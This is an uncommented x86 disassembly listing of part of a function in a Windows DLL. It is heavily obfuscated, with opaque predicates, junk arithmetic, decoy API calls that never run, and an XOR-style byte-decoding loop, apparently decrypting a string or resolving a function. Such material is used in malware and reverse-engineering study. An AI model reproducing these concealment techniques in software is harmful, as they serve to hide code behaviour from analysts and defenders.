jl 0x10032358
mov dword [ebp - 0x70c], 1
jmp 0x1003235f
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp + eax - 0x188]
jne 0x10032386
mov dword [ebp - 0x4cc], 1
jmp 0x1003238d
and dword [ebp - 0x4cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x4cc], eax
jg 0x100323ae
mov dword [ebp - 0x8e4], 1
jmp 0x100323b5
and dword [ebp - 0x8e4], 0
cmp dword [ebp - 0x8e4], 0x364d64ea
jl 0x100323cd
mov dword [ebp - 0x4d4], 1
jmp 0x100323d4
and dword [ebp - 0x4d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x4d4], eax
jne 0x100323f8
cmp dword [ebp - 0x4c], 0
jne 0x100323f8
and dword [ebp - 0x714], 0
jmp 0x10032402
mov dword [ebp - 0x714], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
imul eax, dword [ebp - 0x714]
mov dword [ebp - 0xaf0], eax
mov byte [ebp - 0x126], 0
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x10032438
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
and eax, 0x57
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1e4]
or ecx, 0x57
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
mov byte [ebp + eax - 0xb8c], cl
mov dword [ebp - 0x38], 2
and dword [ebp - 0x2d0], 0
jmp 0x10032489
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x1f
jae 0x10032b0f
mov dword [ebp - 0x138], 0xdf75dcec
mov dword [ebp - 0x304], 0x278c
mov dword [ebp - 0xa14], 0xdd66408
mov dword [ebp - 0x138], 0xfffffff3
jmp 0x100324ca
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x15
jl 0x1003264f
mov dword [ebp - 0x15c], 3
mov dword [ebp - 0x4e4], 1
mov dword [ebp - 0x15c], 0
jmp 0x10032504
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 8
jle 0x1003264a
mov dword [ebp - 0xaf8], 0x44ad
mov dword [ebp - 0x4dc], 0xb09f5954
mov dword [ebp - 0x21c], 0
jmp 0x1003253e
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x1003255a
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0xe74], 0xfffffffc
jmp 0x10032531
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xaf8], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0xb94], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0xb94]
cmp eax, dword [ebp - 0xb9c]
jl 0x100325a5
mov dword [ebp - 0x71c], 1
jmp 0x100325ac
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x4dc], 0
je 0x100325ca
cmp dword [ebp - 0x4dc], 0
je 0x100325ca
mov dword [ebp - 0x834], 1
jmp 0x100325d1
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x4e4], eax
push 4
pop eax
shl eax, 0
imul ecx, dword [ebp - 0x4e4], 0xfffb
mov edx, dword [ebp - 0x71c]
sub edx, ecx
cmp edx, dword [ebp + eax - 0xe74]
jge 0x1003260a
mov dword [ebp - 0x4ec], 1
jmp 0x10032611
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x15c]
dec eax
cmp eax, dword [ebp - 0x4ec]
jl 0x1003262c
mov dword [ebp - 0x8ec], 1
jmp 0x10032633
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x138]
sub eax, dword [ebp - 0x8ec]
mov dword [ebp - 0xa14], eax
jmp 0x100324f7
jmp 0x100324bd
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x38], eax
jne 0x10032aa3
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1e4]
inc eax
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x2c8], 0
jmp 0x1003269c
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 1
jge 0x100326b5
mov eax, dword [ebp - 0x2c8]
mov dword [ebp + eax*4 - 0x2c], 0x648261f
jmp 0x1003268f
mov dword [ebp - 0x1c], 0
jmp 0x100326c5
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x100328e2
mov dword [ebp - 0xd60], 1
mov dword [ebp - 0xd5c], 1
mov dword [ebp - 0xd58], 1
mov dword [ebp - 0xd54], 1
mov dword [ebp - 0x8d0], 0
push 3
lea ecx, [ebp - 0xcb0]
call fcn.10020852
mov dword [ebp - 4], 5
mov dword [ebp - 0x224], 0
jmp 0x1003272e
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x1003274d
push dword [ebp - 0x224]
lea ecx, [ebp - 0xcb0]
call fcn.100208d0
and dword [eax], 0
jmp 0x10032721
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2c], 0
je 0x100328b2
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x2c]
cmp ecx, dword [ebp + eax*4 - 0x2c]
jne 0x10032777
mov dword [ebp - 0x4f4], 1
jmp 0x1003277e
and dword [ebp - 0x4f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp + eax - 0xd60], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0xffffffff
jne 0x100327b4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
jne 0x100327b4
and dword [ebp - 0x724], 0
jmp 0x100327be
mov dword [ebp - 0x724], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
cmp dword [ebp - 0x724], eax
jl 0x100327d9
mov dword [ebp - 0x4fc], 1
jmp 0x100327e0
and dword [ebp - 0x4fc], 0
cmp dword [ebp - 0x4fc], 0x9ba87a5e
jne 0x100327f8
mov dword [ebp - 0x83c], 1
jmp 0x100327ff
and dword [ebp - 0x83c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x83c], eax
jne 0x1003281d
mov dword [ebp - 0x504], 1
jmp 0x10032824
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
cmp dword [ebp - 0x504], eax
je 0x1003283f
mov dword [ebp - 0x72c], 1
jmp 0x10032846
and dword [ebp - 0x72c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x72c], eax
jl 0x10032864
mov dword [ebp - 0x50c], 1
jmp 0x1003286b
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x8d0], eax
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0xdbc], eax
push 4
pop eax
imul eax, eax, 0
push 0xfffffffffffffffb
pop ecx
sub ecx, dword [ebp + eax - 0x2c]
mov eax, dword [ebp - 0x1c]
neg eax
cmp eax, ecx
jge 0x100328b2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
jne 0x100328b2
mov dword [ebp - 0x514], 1
jmp 0x100328b9
and dword [ebp - 0x514], 0
push 0
lea ecx, [ebp - 0xcb0]
call fcn.100208d0
mov ecx, dword [ebp - 0x514]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb0]
call fcn.100208b4
jmp 0x100326be
mov dword [ebp - 0x1c], 0
jmp 0x100328f2
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff4
jne 0x10032a46
mov dword [ebp - 0x158], 0x800f
mov dword [ebp - 0x9c4], 1
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xdc4], eax
cmp dword [ebp - 0x1c], 0x9a1d127a
jae 0x10032931
mov dword [ebp - 0xa30], 1
jmp 0x10032938
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0x1c]
mov ecx, 0x5c7d
sub ecx, eax
cmp ecx, dword [ebp - 0x1c]
je 0x10032965
mov dword [ebp - 0x734], 1
jmp 0x1003296c
and dword [ebp - 0x734], 0
mov eax, 0xc0a1
sub eax, dword [ebp - 0x734]
cmp eax, 0x520c256f
je 0x1003298a
mov dword [ebp - 0x51c], 1
jmp 0x10032991
and dword [ebp - 0x51c], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x51c], 0xc6a3
cmp ecx, dword [ebp + eax - 0x2c]
jg 0x100329b3
mov dword [ebp - 0x844], 1
jmp 0x100329ba
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x844]
cmp dword [ebp - 0x158], eax
jne 0x100329da
mov dword [ebp - 0x9d8], 1
jmp 0x100329e1
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xdd4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0x76cc
jl 0x10032a09
mov dword [ebp - 0x524], 1
jmp 0x10032a10
and dword [ebp - 0x524], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x524], eax
jg 0x10032a2e
mov dword [ebp - 0x73c], 1
jmp 0x10032a35
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x9c4], eax
jmp 0x100328eb
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1e4]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xddc], 0x6579763
mov byte [ebp - 0xe6], 0
movzx eax, byte [ebp - 0xe6]
test eax, eax
je 0x10032a7f
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [ebp - 0xe7], 0
movzx eax, byte [ebp - 0xe7]
test eax, eax
je 0x10032a9e
push 0x224f
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
jmp 0x10032481
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2d0]
movzx eax, byte [ebp + eax - 0x1e6]
movsx eax, byte [ebp + eax - 0xb8c]
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x1e3]
and ecx, eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2d0]
movzx eax, byte [ebp + eax - 0x1e6]
movsx eax, byte [ebp + eax - 0xb8c]
mov edx, dword [ebp - 0x38]
movzx edx, byte [ebp + edx - 0x1e3]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1e4]
mov byte [ebp + eax - 0xb8c], dl
and dword [ebp - 0x2d0], 0
jmp 0x10032481
mov dword [ebp - 0x174], 0xd4081c29
mov dword [ebp - 0xde4], 3
mov dword [ebp - 0xdec], 0x34678dc2
mov dword [ebp - 0xa40], 0xaa43b2b7
mov dword [ebp - 0xdf4], 2
mov dword [ebp - 0x53c], 0x13923cc
mov dword [ebp - 0xdfc], 0x44b0bf24
mov dword [ebp - 0xe04], 0xfffffffa
mov dword [ebp - 0x9cc], 0xffffffff
mov dword [ebp - 0xe0c], 1
mov dword [ebp - 0xa48], 0xcbed562b
mov dword [ebp - 0x55c], 0x8abb75da
mov dword [ebp - 0xa38], 0xc22c9208
mov dword [ebp - 0x544], 0x35dd7582
mov dword [ebp - 0x8d8], 8
mov dword [ebp - 0xa50], 4
mov dword [ebp - 0x52c], 0x30fc353
push 4
lea ecx, [ebp - 0xd34]
call fcn.10020852
mov dword [ebp - 4], 6
mov dword [ebp - 0x9d4], 0xfffffffa
mov dword [ebp - 0x9dc], 1
mov dword [ebp - 0x6c], 0
jmp 0x10032bf1
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10032c07
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xffc], 5
jmp 0x10032bea
mov dword [ebp - 0x6c], 0
jmp 0x10032c17
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x10032c33
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xd34]
call fcn.100208d0
mov dword [eax], 0xfffffffd
jmp 0x10032c10
mov dword [ebp - 0x174], 1
jmp 0x10032c4c
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jl 0x10032ceb
mov dword [ebp - 0xe14], 0xe550
mov dword [ebp - 0xe1c], 0x8e1b61ba
push 3
lea ecx, [ebp - 0xe9c]
call fcn.10020852
mov byte [ebp - 4], 7
mov dword [ebp - 0xe24], 0xbf33
mov dword [ebp - 0xe2c], 0xfffffffe
mov dword [ebp - 0x22c], 0
jmp 0x10032cab
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
jge 0x10032cca
push dword [ebp - 0x22c]
lea ecx, [ebp - 0xe9c]
call fcn.100208d0
or dword [eax], 0xffffffff
jmp 0x10032c9e
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xe9c]
call fcn.100208b4
jmp 0x10032c3f
cmp dword [ebp - 0xa38], 0x5b48
jne 0x10032d03
mov dword [ebp - 0x928], 1
jmp 0x10032d0a
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x9cc]
cmp eax, dword [ebp - 0x928]
jl 0x10032d24
mov dword [ebp - 0x54c], 1
jmp 0x10032d2b
and dword [ebp - 0x54c], 0
push 3
lea ecx, [ebp - 0xd34]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10032d4f
mov eax, 0xa1325a46
test eax, eax
jne 0x10032d4f
and dword [ebp - 0x534], 0
jmp 0x10032d59
mov dword [ebp - 0x534], 1
mov eax, dword [ebp - 0xa40]
add eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0x9d4]
jne 0x10032d7f
mov eax, 0xb1beba42
test eax, eax
jne 0x10032d7f
and dword [ebp - 0x744], 0
jmp 0x10032d89
mov dword [ebp - 0x744], 1
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0xa48]
jl 0x10032db8
cmp dword [ebp - 0x544], 0
je 0x10032db8
mov dword [ebp - 0x84c], 1
jmp 0x10032dbf
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x55c]
imul eax, dword [ebp - 0x84c]
test eax, eax
jne 0x10032de2
cmp dword [ebp - 0x544], 0
jne 0x10032de2
and dword [ebp - 0x74c], 0
jmp 0x10032dec
mov dword [ebp - 0x74c], 1
mov eax, dword [ebp - 0x9dc]
cmp dword [ebp - 0x74c], eax
jl 0x10032e06
mov dword [ebp - 0x554], 1
jmp 0x10032e0d
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x8d8], eax
mov eax, dword [ebp - 0x8d8]
cmp eax, dword [ebp - 0x554]
je 0x10032e39
cmp dword [ebp - 0x174], 0
jne 0x10032e39
and dword [ebp - 0x754], 0
jmp 0x10032e43
mov dword [ebp - 0x754], 1
mov eax, dword [ebp - 0x754]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x55c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd34]
call fcn.100208b4
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xb8c], 0
mov dword [ebp - 0xc4], 0xfffffff8
mov dword [ebp - 0x2e0], 0xffffffff
mov dword [ebp - 0x178], 0x790e8648
mov dword [ebp - 0x140], 0xffffffff
push 2
lea ecx, [ebp - 0xb08]
call fcn.10020852
mov dword [ebp - 4], 8
mov dword [ebp - 0x38c], 0x3589fe57
push 2
lea ecx, [ebp - 0x994]
call fcn.10020852
mov byte [ebp - 4], 9
mov dword [ebp - 0xa00], 0x8216
mov dword [ebp - 0x23c], 0x83c17a3f
mov dword [ebp - 0x35c], 0xeeb303a6
mov dword [ebp - 0x9f4], 0x10ddf4f3
mov dword [ebp - 0xa68], 0x3386b47
mov dword [ebp - 0xc2c], 1
mov dword [ebp - 0xc28], 1
mov dword [ebp - 0xc24], 1
mov dword [ebp - 0xc20], 1
mov dword [ebp - 0x20], 0
jmp 0x10032f33
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10032f4f
push dword [ebp - 0x20]
lea ecx, [ebp - 0xb08]
call fcn.100208d0
mov dword [eax], 0xaf7f3e76
jmp 0x10032f2c
mov dword [ebp - 0x20], 0
jmp 0x10032f5f
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10032f7b
push dword [ebp - 0x20]
lea ecx, [ebp - 0x994]
call fcn.100208d0
mov dword [eax], 0x2668
jmp 0x10032f58
mov dword [ebp - 0x20], 0
jmp 0x10032f8b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10032fa1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xfd0], 8
jmp 0x10032f84
mov dword [ebp - 0xc4], 0
jmp 0x10032fba
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x16
jne 0x100331ca
mov dword [ebp - 0x234], 4
mov dword [ebp - 0x390], 0xbc98072f
mov dword [ebp - 0x2d8], 0
jmp 0x10032ff4
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 3
jge 0x10033010
mov eax, dword [ebp - 0x2d8]
mov dword [ebp + eax*4 - 0xd10], 0x3d188047
jmp 0x10032fe7
mov dword [ebp - 0x234], 0x7dd6
cmp dword [ebp - 0x234], 0
jne 0x100331a9
cmp dword [ebp - 0x234], 0
jne 0x1003303c
mov dword [ebp - 0x9e4], 1
jmp 0x10033043
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
push 1
lea ecx, [ebp - 0x994]
call fcn.100208d0
cmp dword [eax], 0xffffffff
jge 0x1003306e
mov dword [ebp - 0x854], 1
jmp 0x10033075
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x178], eax
imul eax, dword [ebp - 0x178], 0xfffa
imul eax, eax, 0x9107
test eax, eax
je 0x100330aa
cmp dword [ebp - 0x234], 0
je 0x100330aa
mov dword [ebp - 0xa58], 1
jmp 0x100330b1
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xe3c], eax
push 0
lea ecx, [ebp - 0xb08]
call fcn.100208d0
cmp dword [eax], 0xe240
jl 0x100330ea
mov dword [ebp - 0x9ec], 1
jmp 0x100330f1
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xe44], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0x390]
dec eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0xffffffff
jne 0x10033133
xor eax, eax
jne 0x10033133
and dword [ebp - 0x564], 0
jmp 0x1003313d
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x23c]
cmp dword [ebp - 0x564], eax
jle 0x10033157
mov dword [ebp - 0xa60], 1
jmp 0x1003315e
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0xe54], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x75c], eax
push 1
lea ecx, [ebp - 0xb08]
call fcn.100208d0
mov ecx, dword [ebp - 0x75c]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
cmp dword [ebp - 0x75c], eax
jle 0x100331a9
and dword [ebp - 0x56c], 0
jmp 0x100331b3
mov dword [ebp - 0x56c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x56c]
mov dword [ebp + eax - 0xd10], ecx
jmp 0x10032fad
cmp dword [ebp - 0x35c], 0
jne 0x100331df
mov dword [ebp - 0x314], 1
jmp 0x100331e6
and dword [ebp - 0x314], 0
cmp dword [ebp - 0xc4], 0
jne 0x10033201
cmp dword [ebp - 0x178], 0
jne 0x10033201
and dword [ebp - 0x908], 0
jmp 0x1003320b
mov dword [ebp - 0x908], 1
cmp dword [ebp - 0x908], 0xfffffffb
jl 0x10033220
mov dword [ebp - 0x574], 1
jmp 0x10033227
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xaa798d66
ja 0x10033260
cmp dword [ebp - 0x9f4], 0
je 0x10033260
mov dword [ebp - 0x764], 1
jmp 0x10033267
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0xa68]
cmp dword [ebp - 0x764], eax
jg 0x10033281
mov dword [ebp - 0x57c], 1
jmp 0x10033288
and dword [ebp - 0x57c], 0
cmp dword [ebp - 0x57c], 0xc21e6db7
jb 0x100332a0
mov dword [ebp - 0x85c], 1
jmp 0x100332a7
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0xa00]
cmp dword [ebp - 0x85c], eax
jne 0x100332c1
mov dword [ebp - 0x30c], 1
jmp 0x100332c8
and dword [ebp - 0x30c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x30c]
mov dword [ebp + eax - 0xc2c], ecx
cmp dword [ebp - 0x30c], 0
je 0x100332f8
cmp dword [ebp - 0x2e0], 0
je 0x100332f8
mov dword [ebp - 0x584], 1
jmp 0x100332ff
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x584]
cmp eax, 0xfffffffb
jg 0x1003331d
mov dword [ebp - 0x76c], 1
jmp 0x10033324
and dword [ebp - 0x76c], 0
push 1
lea ecx, [ebp - 0x994]
call fcn.100208d0
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
mov dword [ebp - 0x2e0], ecx
mov eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x140]
jg 0x10033356
cmp dword [ebp - 0xc4], 0
je 0x10033371
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc2c], 0
je 0x10033371
mov dword [ebp - 0x58c], 1
jmp 0x10033378
and dword [ebp - 0x58c], 0
push 0
lea ecx, [ebp - 0xb08]
call fcn.100208d0
mov ecx, dword [ebp - 0x314]
mov dword [eax], ecx
mov eax, dword [ebp - 0x35c]
add eax, dword [ebp - 0x58c]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x23c]
push 1
lea ecx, [ebp - 0x994]
call fcn.100208d0
mov esi, eax
push 1
lea ecx, [ebp - 0x994]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x100333da
mov dword [ebp - 0x8e0], 1
jmp 0x100333e1
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x38c]
cmp dword [ebp - 0x8e0], eax
jne 0x100333f6
cmp dword [ebp - 0x23c], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xfd0], 3
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x994]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb08]
call fcn.100208b4
lea eax, [ebp - 0xb8c]
push eax
lea ecx, [ebp - 0x1064]
call fcn.10039701
mov dword [ebp - 0xa70], eax
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0xa0c], eax
mov dword [ebp - 4], 0xa
mov edx, dword [ebp - 0x62c]
mov ecx, dword [ebp - 0xa0c]
call fcn.10024b02
mov dword [0x10611714], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1064]
call fcn.10039724
mov dword [ebp - 0x364], 0x1e1c5a3d
push 3
lea ecx, [ebp - 0x388]
call fcn.10020852
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x86c], 1
mov dword [ebp - 0x30], 0
jmp 0x100334ac
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x100334c2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xeac], 3
jmp 0x100334a5
mov dword [ebp - 0x30], 0
jmp 0x100334d2
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x100334e8
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbac], 0xfffffffd
jmp 0x100334cb
mov dword [ebp - 0x30], 0
jmp 0x100334f8
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x10033514
push dword [ebp - 0x30]
lea ecx, [ebp - 0x388]
call fcn.100208d0
mov dword [eax], 1
jmp 0x100334f1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xbac], 0
jmp 0x10033542
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbac]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbac], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbac], 2
jg 0x100335ad
mov dword [ebp - 0xe5c], 0xfffffffd
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x2e8], 0
jmp 0x1003357f
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x1003359b
mov eax, dword [ebp - 0x2e8]
mov dword [ebp + eax*4 - 0x108c], 0
jmp 0x10033572
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
jmp 0x10033527
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbac]
mov dword [ebp - 0x31c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x31c]
mov dword [ebp + eax - 0xbac], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x31c]
mov dword [ebp + eax - 0xeac], ecx
cmp dword [ebp - 0x31c], 0
je 0x10033602
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x10033602
mov dword [ebp - 0x784], 1
jmp 0x10033609
and dword [ebp - 0x784], 0
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
mov esi, eax
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x10033637
mov dword [ebp - 0x774], 1
jmp 0x1003363e
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 0xffff
jae 0x10033656
mov dword [ebp - 0x59c], 1
jmp 0x1003365d
and dword [ebp - 0x59c], 0
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
mov ecx, dword [ebp - 0x59c]
cmp ecx, dword [eax]
je 0x10033680
mov dword [ebp - 0x864], 1
jmp 0x10033687
and dword [ebp - 0x864], 0
imul eax, dword [ebp - 0x864], 0x3747
test eax, eax
jae 0x100336a1
mov dword [ebp - 0xa78], 1
jmp 0x100336a8
and dword [ebp - 0xa78], 0
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
imul esi, dword [eax], 0xffffffff
push 1
lea ecx, [ebp - 0x388]
call fcn.100208d0
imul esi, dword [eax]
mov dword [ebp - 0x5a4], esi
push 0
lea ecx, [ebp - 0x388]
call fcn.100208d0
mov ecx, dword [ebp - 0x5a4]
mov dword [eax], ecx
cmp dword [ebp - 0x5a4], 0
je 0x1003371e
push 1
lea ecx, [ebp - 0x388]
call fcn.100208d0
cmp dword [eax], 0
je 0x1003371e
push 0x40
pop eax
test eax, eax
je 0x1003371e
